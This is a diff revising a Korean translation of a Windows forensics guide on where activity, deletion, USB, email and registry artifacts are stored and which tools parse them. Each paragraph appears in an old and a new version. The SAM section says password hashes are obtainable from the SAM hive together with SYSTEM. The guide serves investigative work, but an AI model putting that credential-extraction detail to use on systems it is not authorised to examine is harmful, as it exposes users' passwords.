데이터베이스는 경로 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`에 있습니다. 이 데이터베이스는 SQLite 도구나 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 도구로 열 수 있으며, 이 도구로 열 수 있는 2개의 파일을 생성합니다. [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) 도구로 열 수 있습니다.
|
||||
데이터베이스는 경로 `\Users\<username>\AppData\Local\ConnectedDevicesPlatform\<id>\ActivitiesCache.db`에 있습니다. 이 데이터베이스는 SQLite 도구나 [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) 도구로 열 수 있으며 **2개의 파일을 생성**하여 [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) 도구로 열 수 있습니다.
|
||||
|
||||
### ADS (대체 데이터 스트림)
|
||||
|
||||
다운로드한 파일에는 이 파일이 내부망, 인터넷 등에서 **어떻게** 다운로드되었는지를 나타내는 **ADS Zone.Identifier**가 포함될 수 있습니다. 일부 소프트웨어 (예: 브라우저)는 파일이 다운로드된 URL과 같은 **추가 정보**를 보통 포함합니다.
|
||||
다운로드된 파일에는 **어떻게** 인트라넷, 인터넷 등에서 **다운로드**되었는지를 나타내는 **ADS Zone.Identifier**가 포함될 수 있습니다. 일부 소프트웨어(브라우저와 같은)는 파일이 다운로드된 URL과 같은 **더 많은 정보**를 보통 포함합니다.
|
||||
|
||||
## **파일 백업**
|
||||
|
||||
### 휴지통
|
||||
|
||||
Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브의 루트 (`C:\$Recycle.bin`)에 있는 폴더 **`$Recycle.bin`**에서 찾을 수 있습니다.\
|
||||
Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브 루트에 있는 폴더 **`$Recycle.bin`**에서 찾을 수 있습니다 (`C:\$Recycle.bin`).\
|
||||
이 폴더에서 파일이 삭제되면 2개의 특정 파일이 생성됩니다:
|
||||
|
||||
* `$I{id}`: 파일 정보(삭제된 날짜)
|
||||
|
@ -46,25 +50,25 @@ Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브의 루트 (`C:\$Recycl
|
|||
|
||||
![](<../../../.gitbook/assets/image (486).png>)
|
||||
|
||||
이러한 파일을 사용하여 도구 [**Rifiuti**](https://github.com/abelcheung/rifiuti2)를 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있습니다 (Vista - Win10의 경우 `rifiuti-vista.exe`를 사용하세요).
|
||||
이러한 파일을 사용하여 삭제된 파일의 원래 주소와 삭제된 날짜를 얻을 수 있는 [**Rifiuti**](https://github.com/abelcheung/rifiuti2) 도구를 사용할 수 있습니다 (`rifiuti-vista.exe`를 Vista - Win10에 사용).
|
||||
```
|
||||
.\rifiuti-vista.exe C:\Users\student\Desktop\Recycle
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (495) (1) (1) (1).png>)
|
||||
|
||||
### 볼륨 그림자 복사본
|
||||
### 볼륨 그림자 사본
|
||||
|
||||
그림자 복사본은 사용 중인 컴퓨터 파일 또는 볼륨의 **백업 복사본** 또는 스냅샷을 생성할 수 있는 Microsoft Windows에 포함된 기술입니다.
|
||||
그림자 사본은 사용 중인 파일 또는 볼륨의 **백업 사본** 또는 스냅숏을 만들 수 있는 Microsoft Windows에 포함된 기술입니다.
|
||||
|
||||
이러한 백업은 일반적으로 파일 시스템의 루트인 `\System Volume Information`에 위치하며, 이름은 다음 이미지에 표시된 **UID**로 구성됩니다:
|
||||
이러한 백업은 일반적으로 파일 시스템 루트의 `\System Volume Information`에 위치하며 다음 이미지에 표시된 **UID**로 구성된 이름을 가집니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (520).png>)
|
||||
|
||||
**ArsenalImageMounter**를 사용하여 포렌식 이미지를 마운트한 후, 도구 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html)를 사용하여 그림자 복사본을 검사하고 그림자 복사본 백업에서 **파일을 추출**할 수 있습니다.
|
||||
**ArsenalImageMounter**를 사용하여 포렌식 이미지를 마운트하면 [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow\_copy\_view.html) 도구를 사용하여 그림자 사본을 검사하고 그림자 사본 백업에서 **파일을 추출**할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (521).png>)
|
||||
|
||||
레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`에는 **백업하지 않을** 파일 및 키가 포함되어 있습니다:
|
||||
레지스트리 항목 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`에는 **백업하지 않을 파일** 및 키가 포함되어 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (522).png>)
|
||||
|
||||
|
@ -72,61 +76,59 @@ Vista/Win7/Win8/Win10에서 **휴지통**은 드라이브의 루트 (`C:\$Recycl
|
|||
|
||||
### 오피스 자동 저장 파일
|
||||
|
||||
오피스 자동 저장 파일은 다음 위치에서 찾을 수 있습니다: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
오피스 자동 저장 파일은 다음 위치에 있습니다: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\`
|
||||
|
||||
## 쉘 아이템
|
||||
## 쉘 항목
|
||||
|
||||
쉘 아이템은 다른 파일에 액세스하는 방법에 대한 정보를 포함하는 항목입니다.
|
||||
쉘 항목은 다른 파일에 액세스하는 방법에 대한 정보를 포함하는 항목입니다.
|
||||
|
||||
### 최근 문서 (LNK)
|
||||
|
||||
Windows는 사용자가 파일을 **열거나 사용하거나 생성**할 때 **자동으로** 이러한 **바로 가기**를 **생성**합니다:
|
||||
Windows는 사용자가 파일을 **열거나 사용하거나 생성할 때** 다음 위치에 이러한 **바로 가기**를 **자동으로 생성**합니다:
|
||||
|
||||
* Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\`
|
||||
* Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\`
|
||||
|
||||
폴더가 생성되면 해당 폴더, 상위 폴더 및 조부모 폴더에 대한 링크도 생성됩니다.
|
||||
폴더가 생성되면 해당 폴더, 상위 폴더 및 상위 상위 폴더로의 링크도 생성됩니다.
|
||||
|
||||
이러한 자동으로 생성된 링크 파일은 **원본에 대한 정보**를 포함하며, **파일**인지 **폴더**인지, 해당 파일의 **MAC 시간**, 파일이 저장된 위치의 **볼륨 정보** 및 **대상 파일의 폴더** 등을 포함합니다. 이 정보는 삭제된 경우 해당 파일을 복구하는 데 유용할 수 있습니다.
|
||||
이러한 자동으로 생성된 링크 파일에는 **원본에 대한 정보**가 포함되어 있습니다. 파일이나 폴더인지, 해당 파일의 **MAC 시간**, 파일이 저장된 위치의 **볼륨 정보** 및 **대상 파일의 폴더**가 포함됩니다. 이 정보는 파일이 삭제된 경우 해당 파일을 복구하는 데 유용할 수 있습니다.
|
||||
|
||||
또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된 시간**이고, 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된 시간**입니다.
|
||||
또한, 링크 파일의 **생성 날짜**는 원본 파일이 **처음 사용된 시간**이고 링크 파일의 **수정 날짜**는 원본 파일이 **마지막으로 사용된 시간**입니다.
|
||||
|
||||
이러한 파일을 검사하려면 [**LinkParser**](http://4discovery.com/our-tools/)를 사용할 수 있습니다.
|
||||
|
||||
이 도구에서는 다음과 같은 **2 세트의 타임스탬프**를 찾을 수 있습니다:
|
||||
이 도구에서 **2 세트**의 타임스탬프를 찾을 수 있습니다:
|
||||
|
||||
* **첫 번째 세트:**
|
||||
1. FileModifiedDate
|
||||
2. FileAccessDate
|
||||
3. FileCreationDate
|
||||
1. 파일 수정 날짜
|
||||
2. 파일 액세스 날짜
|
||||
3. 파일 생성 날짜
|
||||
* **두 번째 세트:**
|
||||
1. LinkModifiedDate
|
||||
2. LinkAccessDate
|
||||
3. LinkCreationDate.
|
||||
1. 링크 수정 날짜
|
||||
2. 링크 액세스 날짜
|
||||
3. 링크 생성 날짜.
|
||||
|
||||
첫 번째 세트의 타임스탬프는 **파일 자체의 타임스탬프**를 참조합니다. 두 번째 세트는 **링크된 파일의 타임스탬프**를 참조합니다.
|
||||
첫 번째 세트의 타임스탬프는 **파일 자체의 타임스탬프**를 참조합니다. 두 번째 세트는 **연결된 파일의 타임스탬프**를 참조합니다.
|
||||
|
||||
Windows CLI 도구 [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)를 실행하여 동일한 정보를 얻을 수 있습니다.
|
||||
```
|
||||
LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
||||
```
|
||||
이 경우, 정보는 CSV 파일에 저장됩니다.
|
||||
|
||||
### Jumplists
|
||||
|
||||
이는 각 응용 프로그램에서 알려진 최근 파일들의 목록입니다. 각 응용 프로그램에서 액세스할 수 있는 **응용 프로그램이 사용한 최근 파일들의 목록**입니다. 이들은 **자동으로 생성되거나 사용자 정의**될 수 있습니다.
|
||||
이것들은 각 응용프로그램에서 표시된 최근 파일들입니다. **응용프로그램에서 사용된 최근 파일 목록**으로, 각 응용프로그램에서 액세스할 수 있는 목록입니다. 이들은 **자동으로 생성되거나 사용자 정의될 수 있습니다**.
|
||||
|
||||
자동으로 생성된 **jumplists**는 `C:\Users\{사용자명}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. jumplists는 초기 ID가 응용 프로그램의 ID인 `{id}.autmaticDestinations-ms` 형식을 따릅니다.
|
||||
자동으로 생성된 **jumplists**는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`에 저장됩니다. Jumplists는 초기 ID가 응용프로그램의 ID인 `{id}.autmaticDestinations-ms` 형식을 따릅니다.
|
||||
|
||||
사용자 정의 jumplists는 `C:\Users\{사용자명}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 응용 프로그램에서 파일과 관련하여 **중요한 일이 발생**했을 때 생성됩니다 (즐겨찾기로 표시된 파일일 수도 있음).
|
||||
사용자 정의 jumplists는 `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\`에 저장되며, 일반적으로 응용프로그램에 의해 생성됩니다. 파일에 중요한 일이 발생했기 때문에(즐겨찾기로 표시될 수도 있음)
|
||||
|
||||
어떤 jumplist의 **생성 시간**은 **파일에 처음 액세스한 시간**을 나타내고, **수정된 시간은 마지막으로 액세스한 시간**을 나타냅니다.
|
||||
어떤 jumplist의 **생성 시간**은 **파일에 처음 액세스한 시간**을 나타내며, **수정된 시간은 마지막 시간**을 나타냅니다.
|
||||
|
||||
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)를 사용하여 jumplists를 검사할 수 있습니다.
|
||||
[JumplistExplorer](https://ericzimmerman.github.io/#!index.md)를 사용하여 jumplist를 검사할 수 있습니다.
|
||||
|
||||
![](<../../../.gitbook/assets/image (474).png>)
|
||||
|
||||
(_JumplistExplorer에서 제공하는 타임스탬프는 jumplist 파일 자체와 관련이 있음을 유의하세요._)
|
||||
(_JumplistExplorer에서 제공하는 타임스탬프는 jumplist 파일 자체와 관련이 있음을 유의하십시오_)
|
||||
|
||||
### Shellbags
|
||||
|
||||
|
@ -134,27 +136,27 @@ LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs
|
|||
|
||||
## Windows USB 사용
|
||||
|
||||
USB 장치가 사용되었음을 확인할 수 있습니다. 이는 다음과 같은 것들의 생성으로 인해 가능합니다:
|
||||
USB 장치가 사용되었음을 식별할 수 있습니다:
|
||||
|
||||
* Windows 최근 폴더
|
||||
* Microsoft Office 최근 폴더
|
||||
* Jumplists
|
||||
|
||||
원본 경로 대신 일부 LNK 파일은 WPDNSE 폴더를 가리킵니다:
|
||||
일부 LNK 파일은 원본 경로를 가리키는 대신 WPDNSE 폴더를 가리킵니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (476).png>)
|
||||
|
||||
WPDNSE 폴더의 파일들은 원본 파일의 사본이므로 PC를 재시작하면 사라지며, GUID는 shellbag에서 가져옵니다.
|
||||
WPDNSE 폴더의 파일은 원본 파일의 사본이므로 PC 재부팅 후에는 살아남지 못하며, GUID는 shellbag에서 가져옵니다.
|
||||
|
||||
### 레지스트리 정보
|
||||
|
||||
USB 연결된 장치에 대한 흥미로운 정보가 포함된 레지스트리 키를 확인하려면 [이 페이지를 확인하세요](interesting-windows-registry-keys.md#usb-information).
|
||||
USB 연결된 장치에 대한 흥미로운 정보를 포함하는 레지스트리 키가 어디에 있는지 확인하려면 [이 페이지를 확인하십시오](interesting-windows-registry-keys.md#usb-information).
|
||||
|
||||
### setupapi
|
||||
|
||||
USB 연결이 발생한 타임스탬프를 얻으려면 `C:\Windows\inf\setupapi.dev.log` 파일을 확인하세요 (`Section start`를 검색).
|
||||
USB 연결이 발생한 타임스탬프를 얻으려면 파일 `C:\Windows\inf\setupapi.dev.log`를 확인하십시오 (`Section start`를 검색).
|
||||
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
### USB Detective
|
||||
|
||||
|
@ -164,113 +166,115 @@ USB 연결이 발생한 타임스탬프를 얻으려면 `C:\Windows\inf\setupapi
|
|||
|
||||
### Plug and Play Cleanup
|
||||
|
||||
'Plug and Play Cleanup'이라고 알려진 예약된 작업은 주로 오래된 드라이버 버전을 제거하기 위해 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 것이 명시된 목적과는 달리, 온라인 소스에 따르면 30일 동안 비활성화된 드라이버도 대상으로 삼을 수 있습니다. 따라서 지난 30일 동안 연결되지 않은 이동식 장치의 드라이버는 삭제될 수 있습니다.
|
||||
'Plug and Play Cleanup'이라고 알려진 예약된 작업은 오래된 드라이버 버전을 제거하기 위해 주로 설계되었습니다. 최신 드라이버 패키지 버전을 유지하는 것이 명시된 목적과는 달리, 온라인 소스에 따르면 30일 동안 비활성화된 드라이버도 대상으로 삼을 수 있습니다. 따라서 지난 30일 동안 연결되지 않은 제거 가능한 장치의 드라이버는 삭제 대상이 될 수 있습니다.
|
||||
|
||||
해당 작업은 다음 경로에 위치합니다:
|
||||
해당 작업은 다음 경로에 있습니다:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
||||
작업의 내용을 보여주는 스크린샷이 제공됩니다:
|
||||
작업 내용을 보여주는 스크린샷이 제공됩니다:
|
||||
![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png)
|
||||
|
||||
**작업의 주요 구성 요소 및 설정:**
|
||||
- **pnpclean.dll**: 실제 정리 프로세스를 담당하는 DLL입니다.
|
||||
- **UseUnifiedSchedulingEngine**: 일반적인 작업 스케줄링 엔진의 사용을 나타내는 `TRUE`로 설정됩니다.
|
||||
- **pnpclean.dll**: 이 DLL은 실제 정리 프로세스를 담당합니다.
|
||||
- **UseUnifiedSchedulingEngine**: `TRUE`로 설정되어 일반적인 작업 예약 엔진을 사용함을 나타냅니다.
|
||||
- **MaintenanceSettings**:
|
||||
- **Period ('P1M')**: 정기적인 자동 유지 관리 중에 매월 정리 작업을 시작하도록 Task Scheduler에 지시합니다.
|
||||
- **Deadline ('P2M')**: 작업이 두 달 연속 실패한 경우, 비상 자동 유지 관리 중에 작업을 실행하도록 Task Scheduler에 지시합니다.
|
||||
- **Period ('P1M')**: 정기적인 자동 유지보수 중에 매월 정리 작업을 시작하도록 작업 스케줄러에 지시합니다.
|
||||
- **Deadline ('P2M')**: 작업이 두 달 연속 실패하면 비상 자동 유지보수 중에 작업을 실행하도록 작업 스케줄러에 지시합니다.
|
||||
|
||||
이 구성은 드라이버의 정기적인 유지 관리와 정리를 보장하며, 연속적인 실패의 경우 작업을 재시도할 수 있도록 규정합니다.
|
||||
이 구성은 드라이버의 정기적인 유지보수와 정리를 보장하며, 연속적인 실패의 경우 작업을 재시도할 수 있는 조항을 제공합니다.
|
||||
|
||||
**자세한 정보는 다음을 참조하세요:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
**자세한 정보는 여기를 확인하세요:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
## 이메일
|
||||
|
||||
이메일에는 **헤더**와 **내용** 두 가지 흥미로운 부분이 있습니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다:
|
||||
이메일에는 **헤더와 이메일 내용** 두 가지 흥미로운 부분이 포함됩니다. **헤더**에서는 다음과 같은 정보를 찾을 수 있습니다:
|
||||
|
||||
* 이메일을 보낸 **누가** (이메일 주소, IP, 이메일을 리디렉션한 메일 서버)
|
||||
* 이메일을 보낸 **누구** (이메일 주소, IP, 이메일을 리디렉션한 메일 서버)
|
||||
* 이메일이 **언제** 보내졌는지
|
||||
|
||||
또한, `References` 및 `In-Reply-To` 헤더에서 메시지의 ID를 찾을 수 있습니다:
|
||||
또한, `References` 및 `In-Reply-To` 헤더 내에서 메시지의 ID를 찾을 수 있습니다:
|
||||
|
||||
![](<../../../.gitbook/assets/image (484).png>)
|
||||
|
||||
### Windows Mail 앱
|
||||
### Windows 메일 앱
|
||||
|
||||
이 응용 프로그램은 이메일을 HTML 또는 텍스트로 저장합니다. 이메일은 `\Users\<사용자명>\AppData\Local\Comms\Unistore\data\3\` 내의 하위 폴더에서 찾을 수 있습니다. 이메일은 `.dat` 확장자로 저장됩니다.
|
||||
이 응용프로그램은 이메일을 HTML 또는 텍스트로 저장합니다. 이메일은 `\Users\<username>\AppData\Local\Comms\Unistore\data\3\` 내의 하위 폴더에서 찾을 수 있습니다. 이메일은 `.dat` 확장자로 저장됩니다.
|
||||
|
||||
이메일의 **메타데이터**와 **연락처**는 **EDB 데이터베이스** 내에서 찾을 수 있습니다: `\Users\<사용자명>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
이메일의 **메타데이터** 및 **연락처**는 **EDB 데이터베이스** 내에서 찾을 수 있습니다: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
파일의 확장자를 `.vol`에서 `.edb`로 변경하고 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) 도구를 사용하여 열 수 있습니다. `Message` 테이블 내에서 이메일을 볼 수 있습니다.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Exchange 서버 또는 Outlook 클라이언트를 사용하는 경우 일부 MAPI 헤더가 있을 것입니다:
|
||||
Exchange 서버 또는 Outlook 클라이언트를 사용할 때 MAPI 헤더가 있습니다:
|
||||
|
||||
* `Mapi-Client-Submit-Time`: 이메일이 보내진 시스템의 시간
|
||||
* `Mapi-Conversation-Index`: 스레드의 하위 메시지 수 및 각 메시지의 타임스탬프
|
||||
* `Mapi-Client-Submit-Time`: 이메일이 보내진 시스템 시간
|
||||
* `Mapi-Conversation-Index`: 쓰레드의 자식 메시지 수 및 쓰레드의 각 메시지의 타임스탬프
|
||||
* `Mapi-Entry-ID`: 메시지 식별자.
|
||||
* `Mappi-Message-Flags` 및 `Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답함? 리디렉션됨? 사무실을 비웠음?)
|
||||
* `Mappi-Message-Flags` 및 `Pr_last_Verb-Executed`: MAPI 클라이언트에 대한 정보 (메시지 읽음? 읽지 않음? 응답함? 리디렉트됨? 사무실 외?).
|
||||
|
||||
Microsoft Outlook 클라이언트에서 모든 보낸/받은 메시지, 연락처 데이터 및 캘린더 데이터는 다음 위치의 PST 파일에 저장됩니다:
|
||||
|
||||
* `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP)
|
||||
* `%USERPROFILE%\AppData\Local\Microsoft\Outlook`
|
||||
|
||||
레지스트리 경로 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`는 사용되는 파일을 나타냅니다.
|
||||
레지스트리 경로 `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`은 사용 중인 파일을 나타냅니다.
|
||||
|
||||
PST 파일은
|
||||
### Microsoft Outlook OST 파일
|
||||
PST 파일은 [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html) 도구를 사용하여 열 수 있습니다.
|
||||
|
||||
**OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버와 구성될 때 생성되며, PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되어 **최대 50GB의 크기로 최근 12개월간의 데이터**를 보존하며, PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다.
|
||||
![](<../../../.gitbook/assets/image (485).png>)
|
||||
### Microsoft Outlook OST Files
|
||||
|
||||
**OST 파일**은 Microsoft Outlook이 **IMAP** 또는 **Exchange** 서버와 구성될 때 생성되며 PST 파일과 유사한 정보를 저장합니다. 이 파일은 서버와 동기화되어 **최대 50GB**까지의 데이터를 **지난 12개월 동안** 유지하며 PST 파일과 동일한 디렉토리에 위치합니다. OST 파일을 보려면 [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html)를 사용할 수 있습니다.
|
||||
|
||||
### 첨부 파일 검색
|
||||
|
||||
분실된 첨부 파일은 다음 위치에서 복구할 수 있습니다:
|
||||
|
||||
- **IE10**: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- **IE11 및 이상**: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
- **IE10**의 경우: `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook`
|
||||
- **IE11 및 이상**의 경우: `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook`
|
||||
|
||||
### Thunderbird MBOX 파일
|
||||
|
||||
**Thunderbird**는 데이터를 저장하기 위해 **MBOX 파일**을 사용하며, 이 파일은 `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`에 위치합니다.
|
||||
**Thunderbird**는 데이터를 저장하기 위해 **MBOX 파일**을 사용하며 이 파일은 `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`에 위치합니다.
|
||||
|
||||
### 이미지 썸네일
|
||||
|
||||
- **Windows XP 및 8-8.1**: 썸네일이 있는 폴더에 액세스하면 삭제 후에도 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성됩니다.
|
||||
- **Windows 7/10**: UNC 경로를 통해 네트워크를 통해 액세스할 때 `thumbs.db`가 생성됩니다.
|
||||
- **Windows Vista 및 이후**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 **thumbcache\_xxx.db**라는 이름의 파일로 중앙 집중화됩니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보기 위한 도구입니다.
|
||||
- **Windows XP 및 8-8.1**: 썸네일이 있는 폴더에 액세스하면 이미지 미리보기를 저장하는 `thumbs.db` 파일이 생성됩니다.
|
||||
- **Windows 7/10**: `thumbs.db`는 UNC 경로를 통해 네트워크에서 액세스할 때 생성됩니다.
|
||||
- **Windows Vista 및 이후**: 썸네일 미리보기는 `%userprofile%\AppData\Local\Microsoft\Windows\Explorer`에 중앙 집중화되며 **thumbcache\_xxx.db**라는 파일로 저장됩니다. [**Thumbsviewer**](https://thumbsviewer.github.io) 및 [**ThumbCache Viewer**](https://thumbcacheviewer.github.io)는 이러한 파일을 보는 데 사용할 수 있는 도구입니다.
|
||||
|
||||
### Windows 레지스트리 정보
|
||||
|
||||
Windows 레지스트리는 체계적인 시스템 및 사용자 활동 데이터를 저장하는데 사용되며, 다음 위치의 파일에 포함되어 있습니다:
|
||||
Windows 레지스트리는 다음 위치에 있는 파일에 포함되어 있습니다:
|
||||
|
||||
- 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대한 `%windir%\System32\Config`
|
||||
- `HKEY_CURRENT_USER`에 대한 `%UserProfile%{User}\NTUSER.DAT`
|
||||
- 다양한 `HKEY_LOCAL_MACHINE` 하위 키에 대한 `%windir%\System32\Config`.
|
||||
- `HKEY_CURRENT_USER`에 대한 `%UserProfile%{User}\NTUSER.DAT`.
|
||||
- Windows Vista 이상 버전은 `%Windir%\System32\Config\RegBack\`에 `HKEY_LOCAL_MACHINE` 레지스트리 파일을 백업합니다.
|
||||
- 또한, 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후에 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다.
|
||||
- 또한 프로그램 실행 정보는 Windows Vista 및 Windows 2008 Server 이후에 `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`에 저장됩니다.
|
||||
|
||||
### 도구
|
||||
|
||||
레지스트리 파일을 분석하는 데 유용한 몇 가지 도구가 있습니다:
|
||||
일부 도구는 레지스트리 파일을 분석하는 데 유용합니다:
|
||||
|
||||
* **레지스트리 편집기**: Windows에 설치되어 있는 도구로, 현재 세션의 Windows 레지스트리를 탐색하기 위한 GUI를 제공합니다.
|
||||
* [**레지스트리 탐색기**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI를 통해 탐색할 수 있습니다. 또한 흥미로운 정보가 포함된 키를 강조 표시하는 즐겨찾기 기능도 제공합니다.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 다시 한번, 로드된 레지스트리를 탐색할 수 있는 GUI를 제공하며, 로드된 레지스트리 내에서 흥미로운 정보를 강조 표시하는 플러그인도 포함되어 있습니다.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 응용 프로그램입니다.
|
||||
* **레지스트리 편집기**: Windows에 설치되어 현재 세션의 Windows 레지스트리를 탐색하는 GUI입니다.
|
||||
* [**레지스트리 탐색기**](https://ericzimmerman.github.io/#!index.md): 레지스트리 파일을 로드하고 GUI로 탐색할 수 있습니다. 흥미로운 정보가 포함된 키를 강조하는 책갈피도 포함되어 있습니다.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): 로드된 레지스트리를 탐색하고 흥미로운 정보를 강조하는 플러그인도 포함된 GUI가 있습니다.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): 로드된 레지스트리에서 중요한 정보를 추출할 수 있는 또 다른 GUI 응용 프로그램입니다.
|
||||
|
||||
### 삭제된 요소 복구
|
||||
|
||||
키가 삭제되면 해당 키가 삭제되었다는 표시가 지정되지만, 해당 공간이 필요할 때까지는 제거되지 않습니다. 따라서 **레지스트리 탐색기**와 같은 도구를 사용하여 이러한 삭제된 키를 복구할 수 있습니다.
|
||||
키가 삭제되면 해당 사실이 표시되지만 해당 공간이 필요할 때까지 제거되지 않습니다. 따라서 **Registry Explorer**와 같은 도구를 사용하여 이러한 삭제된 키를 복구할 수 있습니다.
|
||||
|
||||
### 마지막 수정 시간
|
||||
|
||||
각 키-값은 마지막으로 수정된 시간을 나타내는 **타임스탬프**를 포함합니다.
|
||||
각 키-값에는 마지막으로 수정된 시간을 나타내는 **타임스탬프**가 포함되어 있습니다.
|
||||
|
||||
### SAM
|
||||
|
||||
파일/하이브 **SAM**에는 시스템의 **사용자, 그룹 및 사용자 비밀번호** 해시가 포함되어 있습니다.
|
||||
|
||||
`SAM\Domains\Account\Users`에서는 사용자 이름, RID, 마지막 로그인, 마지막 로그인 실패, 로그인 횟수, 비밀번호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 파일/하이브 **SYSTEM**도 필요합니다.
|
||||
`SAM\Domains\Account\Users`에서는 사용자 이름, RID, 마지막 로그인, 마지막 로그인 실패, 로그인 횟수, 암호 정책 및 계정 생성 시간을 얻을 수 있습니다. **해시**를 얻으려면 파일/하이브 **SYSTEM**도 필요합니다.
|
||||
|
||||
### Windows 레지스트리의 흥미로운 항목
|
||||
|
||||
|
@ -282,35 +286,35 @@ Windows 레지스트리는 체계적인 시스템 및 사용자 활동 데이터
|
|||
|
||||
### 기본 Windows 프로세스
|
||||
|
||||
[이 게시물](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)에서는 의심스러운 동작을 감지하기 위한 일반적인 Windows 프로세스에 대해 알아볼 수 있습니다.
|
||||
[이 게시물](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d)에서 의심스러운 동작을 감지하기 위한 일반 Windows 프로세스에 대해 알아볼 수 있습니다.
|
||||
|
